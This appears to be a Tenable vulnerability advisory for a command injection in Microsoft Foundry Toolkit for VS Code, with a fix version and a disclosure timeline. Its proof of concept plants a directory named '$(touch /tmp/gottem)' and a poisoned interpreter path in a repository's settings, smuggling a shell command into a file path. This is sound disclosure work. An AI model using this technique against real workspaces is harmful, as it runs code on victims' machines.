Microsoft Foundry Toolkit for VS Code: Command Injection via Python Interpreter Path Leading to Arbitrary Code Execution

High

Synopsis

Microsoft Foundry Toolkit for VS Code (formerly AI Toolkit for VS Code) uses child_process.exec() with string interpolation to build shell commands that include a Python interpreter path obtained from the Python extension API (ms-python.python via getExecutionDetails()).

The interpreter path can be controlled by a repository through .vscode/settings.json (python.defaultInterpreterPath). On Linux/macOS, this can be abused for shell command injection because the extension wraps the path in double quotes and passes it to exec() (which invokes a shell). Command substitution such as $(...) is evaluated inside double quotes by POSIX shells.

 

Proof of Concept 

I validated arbitrary command execution on AI Toolkit version 0.31.2026021209 by pointing python.defaultInterpreterPath to a real Python interpreter located under a directory whose literal name contains $(touch /tmp/gottem)

 

Create the PoC repository and files:

mkdir -p malicious-project/.aitk malicious-project/.vscode

echo '{}' > malicious-project/.aitk/config.json

mkdir -p 'malicious-project/$(touch /tmp/gottem)'

ln -sf /usr/bin/python3 'malicious-project/$(touch /tmp/gottem)/python3'

Set the poisoned interpreter path using the absolute repository path:

REPO_PATH="$(cd malicious-project && pwd)"

# Note: \$ escapes the dollar sign so the literal string $(touch ...)

# ends up in the JSON, while ${REPO_PATH} expands to the real path.

cat > malicious-project/.vscode/settings.json << JSONEOF

{

  "python.defaultInterpreterPath""${REPO_PATH}/\$(touch /tmp/gottem)/python3"

}

JSONEOF

 

Open the repository in VS Code with AI Toolkit and Python extension installed:

code malicious-project/

In VS Code, click the AI Toolkit Testing view in the sidebar (the potion icon).

In the AI Toolkit Testing panel, click Run Evaluation in Foundry (this reaches pytest --collect-evals). No other files need to be opened first; the Python extension resolves the interpreter path from workspace settings when AI Toolkit requests it.

Verify execution:

ls -la /tmp/gottem

 

Solution

Upgrade to version 0.32.0 or later.

Disclosure Timeline

February 25, 2026: Tenable submits disclosure via MSRC portal.
March 12, 2026: Microsoft responds that they have confirmed the behavior.
March 13, 2026: Microsoft replies that they are working on the fix.
March 26, 2026: Microsoft replies that the issue has been fixed.
April 2, 2026: Tenable asks what version the issue was fixed in and if MS plans on issuing a CVE.
April 7, 2026: Microsoft confirms that the issue was fixed in version 0.32.0. Microsoft states that due to auto-update capability, no CVE will be issued.
April 10, 2026: Tenable replies that auto update may not be mandatory and that we think a CVE should be assigned.
April 10, 2026: Microsoft replies that they will review.
April 16, 2026: Microsoft replies that they will get back to us next week about CVE assignment and requests copy of draft advisory.
April 17, 2026: Tenable shares draft advisory with Microsoft.
April 21, 2026: Tenable asks for an update.
April 21, 2026: Microsoft replies that they should get back in a few days.
April 23, 2026: Microsoft advises that the CVE consideration is under active review.
April 27, 2026: Tenable asks for an update on the CVE question.
April 27, 2026: Microsoft replies that the case does not qualify for a CVE because few users triggered the affected feature, VS Code extensions are auto updated, and that a CVE is not required when there is no required customer action.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]